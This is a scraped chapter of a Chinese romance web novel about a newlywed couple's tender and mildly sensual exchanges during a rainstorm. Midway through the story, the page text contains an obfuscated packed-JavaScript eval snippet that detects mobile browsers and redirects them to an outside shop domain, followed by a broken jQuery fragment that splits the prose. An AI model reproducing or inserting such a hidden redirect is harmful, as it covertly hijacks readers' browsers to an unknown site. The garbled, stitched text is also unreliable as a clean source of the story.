文趣网 > 都市小说 > 和表哥好兄弟先婚后爱了 > 66. [锁]   [此章节已锁]
    翌日,谢洛衍如常起得很早。

    昨夜两人虽闹了有一会儿,但睡得不算晚,是以身旁传来响动时,许知鸢很容易便醒了过来。

    窗棂半敞着,男人身形修长,将备好的帕子浸到铜盆里。

    很快,身后贴上了一具温热的身体。

    许知鸢用脸颊蹭了蹭他宽阔的后背,双手绕过劲腰,从后将他牢牢抱住。

    晨起时这般缱绻的拥抱,轻易便勾起了谢洛衍昨晚的回忆。

    那时,她也是如此抱紧了他,一只手在他胸膛上作乱,另一只手肆意赏玩。

    这般想着,他难免有了两分意动。

    身后传来一声轻笑。

    许知鸢隔着衣料在他腰腹处画圈。

    “这大清早的……夫君乱想什么呢?”她明知故问。

    谢洛衍深吸了两口气,望向窗外的天色。

    约莫还有一个时辰,勉强足够……

    他静静等待着。

    于这种事上,大多时候许知鸢都喜欢掌握主动。

    可这一回,他等了许久,身后竟再没传来别的动静。

    他转过身,有些诧异地看向身前的少女。

    许知鸢的目光越过他,落在窗棂外一闪而过的锦书身上。

    想起昨日她同她说过的话,不自觉便向谢洛衍吐露出心底的计划。

    她说,她想拿出自己的积蓄,替锦书脱奴籍,成为良民。

    既然锦书担心身份之差,那她便尽自己所能,帮她解开这个心结。

    谢洛衍愣了愣,从旖旎的气氛中恢复心神,很容易便接受了她的提议,甚至主动提出,可以将锦书挂在谢家的旁支名下,届时她就不仅仅是良民,还能有谢家替她撑腰。

    许知鸢低下头,双手揪住他的衣衫,小声道了句:“谢谢你。”

    谢洛衍捏了捏她的脸颊,“夫妻之间,还要说什么谢与不谢吗?我知道你关心锦书,她好了,你也能开心。”

    “你开心,就是我最在乎的事。”

    男人的大掌捧着她的脸蛋,炙热又直接的目光紧盯着她,许知鸢不禁有些脸热,闭上眼踮起脚,啄吻了一下他的薄唇。

    平心而论,能被谢洛衍喜欢,是一件很幸运的事。

    至少同沈弈川相比,他的确算是个很好的人。

    譬如此刻,他与她紧贴时的起势那般明显,可他仍温柔地将她抱回到榻上,让她再多歇会儿。

    许知鸢隔着幔帐,看着他自顾自地穿好衣衫,离开时脚步一顿,朝她回望了一眼,这才轻轻阖上了门扉,一副唯恐将她吵醒的模样。

    她心底仿佛被什么东西给填满了,整个人都像是浸在了温暖的泉水中。

    谢洛衍的行动很快,不过寥寥几日,便将锦书的身份全都安排好了。

    许知鸢隔三差五便给锦书出主意,允她出府。

    只是初夏时分,天气难免阴晴不定。

    这日午后,几道惊雷从天际响起。

    紧接着,淅淅沥沥的雨便打湿了屋檐青瓦。

    书房里,锦书阖上窗,一回头,便发现自家姑娘手里捧着书册,脸上却忧心忡忡地望向门口。

    “雨下得这般大,夫君应当是不会这时冒雨回来了罢?”

    昨夜他们俩便约好,今日等谢洛衍回府,两人便上街四处逛逛。

    算算时辰,若是没下大雨,他大概就是这个时间回府了。

    锦书好奇地问:“姑娘,你这般说,是想世子回来呢,还是不想他回来呀?”

    “自是不想。”

    许知鸢下意识回,一抬眼瞧见锦书探究的目光,又忙支支吾吾地解释。

    “我……我只是不想他淋了雨,届时若是病了,肯定得要我亲自照顾他了。”

    自从情窦初开后,锦书发现,自己在这方面似乎开了窍。

    此刻看着许知鸢遮掩的模样,她心中很容易便冒出了一个猜测。

    “姑娘,你是不是喜欢上世子了?”

    这话虽是提问,但语气甚是笃定。

    和锦书前不久的坦诚相比,许知鸢却犹豫了许多,甚至开口便反驳道:

    “我自是不喜欢的。”

    话音刚落,门外传来婢女的声音。

    是谢洛衍回来了。

    锦书转头欲向许知鸢通禀,结果一眨眼,书案后已经空无一人。

    许知鸢拎起衣裙朝门外疾步而去。

    刚打开门,迎面便撞进了潮湿又带着冷香的怀抱里。

    谢洛衍一只手扶住她的腰,好奇地问:“这是要去做什么?怎走得这么急?”

    许知鸢覆上他的手背,一眼便发现他肩膀处的衣衫已经被淋湿了,就连几缕长发都湿漉漉地黏在鬓边,看起来略显狼狈。

    “我是想看看你。”她下意识回,垫脚替他将脸颊上的碎发拢好。

    锦书原是躬身站在书房内,直到许知鸢将谢洛衍迎了进来,她很有眼力见地默默退出门去。

    临关门时,她透过门缝瞟了眼门内的男女。

    许知鸢正仰起头,任由身前的男人亲吻她。

    也许她并未发现,可作为旁观者的锦书却已然察觉。

    这些时日,自家姑娘自午后便会时不时往窗外瞟,看起来心不在焉的,似是在等什么人回来。

    从前的姑娘虽然平时也是笑盈盈的,可那双眼睛总像是隔着一层雾,很难让人读懂她的心意,全然不似此刻这般,笑意尽达眼底,仿佛在为世子冒雨回府的举动而感到高兴。

    以往她或许还不能理解,为何姑娘和世子在一起时,就不能让她也随侍在身侧。

    为此她甚至默默吃醋,害怕姑娘以后都不要她了。

    可如今,她渐渐明白,就算姑娘真的喜欢上了谁,也必然不会影响到和她之间的情谊。

    她们一起相伴了那么久,她曾亲眼目睹表少爷对姑娘示好,又见证了他弃姑娘于不顾的时候。

    或许是有了这个前车之鉴,或许是自从家变后,姑娘孑然一身,很难再交托出自己的真心,所以才会在面对她是不是喜欢世子的这个问题时,脱口而出便是不喜欢。

    尽管理智试图抗拒,可喜欢这种事,从来都不由个人的意志所控制。

    就算什么都不说,它也会从一言一行中流露出来。

    许知鸢并不知道锦书的心中所想,此刻正坐在谢洛衍的腿上,惊讶地看着他从怀中摸出的东西。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724145|203565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “糖糕?”她伸出手碰了碰油纸,“还是热的?”

    谢洛衍笑着点头,捏起一块塞进她嘴里。

    “回来时正巧经过了城西的那家点心铺,记起你爱吃这个。”

    许知鸢愣愣地咬了一口,香甜软糯的味道在唇齿间溢开。

    “辣个词候……不是恰肚雨了嘛?”

    含糊的话语吐露出来,谢洛衍脸上的笑意更甚,用帕子替她擦去唇角沾上的一点芝麻。

    “没关系,你喜欢吃就好。”

    许知鸢咬着甜糕的动作渐渐停了下来,目光直愣愣地看着他。

    窗棂外的天际犹如陈墨,狂风卷着暴雨砸在廊檐上。

    方才不过在门口站了几息,院中的石阶便积起了水洼,兰草倒了一片。

    抬眼望去,满目皆是茫茫水雾。

    明明万物都被这狂风骤雨裹挟着,可就在这样狂乱的环境中,仍有人记挂着她。

    莫名的,许知鸢的眼眶有些发热。

    她不禁将脑袋埋在了男人的肩膀,半晌都没说话。

    谢洛衍没明白她为何突然抱他,却还是伸手揽住她的腰,大掌轻抚着少女的发顶,以示安抚。

    没过多久,他似是觉察出肩膀处的湿意,心中疑惑,握住许知鸢的双肩看向她的眉眼。

    少女双眸有些发红,眼睫轻颤着,却没看他。

    “不高兴了吗?”

    谢洛衍蹙着眉,瞧见她这副模样,心口不自觉便会发闷。

    他目光转向放在案上的糖糕,暗自猜测,难道是因为太难吃了?

    他不禁拿起一块放进口中,味道甜丝丝的,并无任何问题呀。

    就在这时,许知鸢朝他摇了摇头,指着他的唇瓣问:

    “你怎么偷吃我的糖糕?”

    “?”

    谢洛衍显然没料到她会这么问,愣了一瞬,随即赶忙将剩下的半块甜糕放回原位。

    “不是……”

    他正欲解释,少女的柔荑便覆在他的脸颊上,迫使他不得不微张开唇,任由她将舌尖探去。

    两人的口中皆是糖糕的香甜。

    女郎似是很不满意他偷吃了她的甜糕,舌尖仔仔细细地搜刮着他的每一处地方,势要将糕点的味道尽数吞进。

    谢洛衍任由她长驱直入,悄悄睁开眼看向她眼尾的微红。

    少女的双眸比暴雨冲刷后的天空更加明亮,他伸出手,偷偷碰了碰她的眼睫。

    在她不满地轻哼一声后,他立刻讨好似地伸舌勾缠着她。

    许知鸢恶作剧的心思骤起,在他追上来时故意往后退却两分,这般你来我往,不消一会儿,谢洛衍便顾不得旁的,伸手覆上她的后脑勺,将她压向了自己。

    痴缠了好一会儿,许知鸢靠在他的胸口喘息,一边把玩着他修长的手,一边状似无意地问起他今日的行踪。

    自从狩猎回来后,谢洛衍便开始主动向她汇报起自己每日的行踪,尽管他总是忙于公务,四处奔波,可许知鸢却不觉得枯燥,此番更是主动问起。

    谢洛衍抱着她,一五一十地告知她自己的动向,最后状似无意地提起,今日去见周裕时,正好瞧见他夫人给他送去了午膳。